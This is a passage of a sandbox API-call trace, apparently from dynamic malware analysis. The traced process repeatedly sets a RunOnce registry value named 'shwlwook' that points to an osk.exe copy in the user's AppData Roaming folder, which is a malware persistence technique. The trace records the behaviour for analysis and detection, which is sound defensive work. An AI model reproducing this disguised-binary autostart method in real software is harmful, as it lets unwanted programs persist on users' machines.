varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240820) returned 0x0 [0256.651] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2e [0256.651] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.652] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.652] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.652] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.652] RegCloseKey (hKey=0x14c) returned 0x0 [0256.653] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.653] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.664] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.664] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.664] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.664] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.664] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240870 | out: ppvObject=0x6240870*=0x0) returned 0x80004002 [0256.665] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x30 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.665] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x31 [0256.665] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a330) returned 0x0 [0256.665] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x30 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.665] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240890 | out: ppvObject=0x6240890*=0x0) returned 0x80004002 [0256.666] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x31 [0256.666] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x30 [0256.666] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.666] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x30 [0256.666] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x62408a0) returned 0x0 [0256.667] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x2f [0256.667] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.667] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.667] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.667] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.668] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.668] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.668] RegCloseKey (hKey=0x14c) returned 0x0 [0256.668] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.668] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.679] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.679] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.680] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.680] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.680] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x62408f0 | out: ppvObject=0x62408f0*=0x0) returned 0x80004002 [0256.680] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x31 [0256.680] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.680] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x32 [0256.680] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a390) returned 0x0 [0256.681] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x31 [0256.681] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.681] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.681] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.681] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.681] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240910 | out: ppvObject=0x6240910*=0x0) returned 0x80004002 [0256.681] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x32 [0256.681] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x31 [0256.681] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.681] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x31 [0256.682] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edf4*=0x6240920) returned 0x0 [0256.682] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x30 [0256.683] SysStringLen (param_1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x27 [0256.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 64 [0256.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", cchWideChar=-1, lpMultiByteStr=0x95e4b0, cbMultiByte=64, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\shwlwook", lpUsedDefaultChar=0x0) returned 64 [0256.683] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.683] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.683] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.683] RegCloseKey (hKey=0x14c) returned 0x0 [0256.684] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.684] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.695] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.695] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.695] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.696] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0xdfc968, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="GetFile", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=10012) returned 0x0 [0256.696] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240970 | out: ppvObject=0x6240970*=0x0) returned 0x80004002 [0256.696] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x32 [0256.696] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95ef7c | out: ppvObject=0x95ef7c*=0x0) returned 0x80004002 [0256.696] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x33 [0256.696] FileSystemObject:IDispatch:Invoke (in: This=0xdfc968, dispIdMember=10012, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x3, pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30, pExcepInfo=0x95eefc, puArgErr=0x95edd4 | out: pDispParams=0x95ef50*(rgvarg=([0]=0x95eed0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="osk.exe", varVal2=0x0)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarResult=0x95ef30*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5499ce4, varVal2=0x0), pExcepInfo=0x95eefc*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0), puArgErr=0x95edd4*=0x624a3f0) returned 0x0 [0256.696] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x32 [0256.696] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x95ee30 | out: ppvObject=0x95ee30*=0x0) returned 0x80004002 [0256.696] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc6b4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95ee28 | out: ppvObject=0x95ee28*=0x0) returned 0x80004002 [0256.696] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ee3c | out: ppvObject=0x95ee3c*=0x5499ce4) returned 0x0 [0256.697] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc644*(Data1=0xebade2e2, Data2=0xa8cc, Data3=0x4797, Data4=([0]=0xa4, [1]=0x30, [2]=0x2e, [3]=0x86, [4]=0x38, [5]=0x67, [6]=0xef, [7]=0xd0)), ppvObject=0x95edc4 | out: ppvObject=0x95edc4*=0x0) returned 0x80004002 [0256.697] FileSystemObject:IUnknown:QueryInterface (in: This=0x5499ce4, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240990 | out: ppvObject=0x6240990*=0x0) returned 0x80004002 [0256.697] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x33 [0256.697] FileSystemObject:IUnknown:Release (This=0x5499ce4) returned 0x32 [0256.697] FileSystemObject:IDispatch:GetIDsOfNames (in: This=0x5499ce4, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), rgszNames=0x95eee0*="Path", cNames=0x1, lcid=0x409, rgDispId=0x95ef3c | out: rgDispId=0x95ef3c*=0) returned 0x0 [0256.697] FileSystemObject:IUnknown:AddRef (This=0x5499ce4) returned 0x32 [0256.697] FileSystemObject:IDispatch:Invoke (in: This=0x5499ce4, dispIdMember=0, riid=0x716cc794*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)), lcid=0x409, wFlags=0x2, pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8, pExcepInfo=0x95ef08, puArgErr=0x95edf4 | out: pDispParams=0x95eef8*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarResult=0x95eee8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\osk.exe"), varVal2=0x0), pExcepInfo=0x95ef08*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, 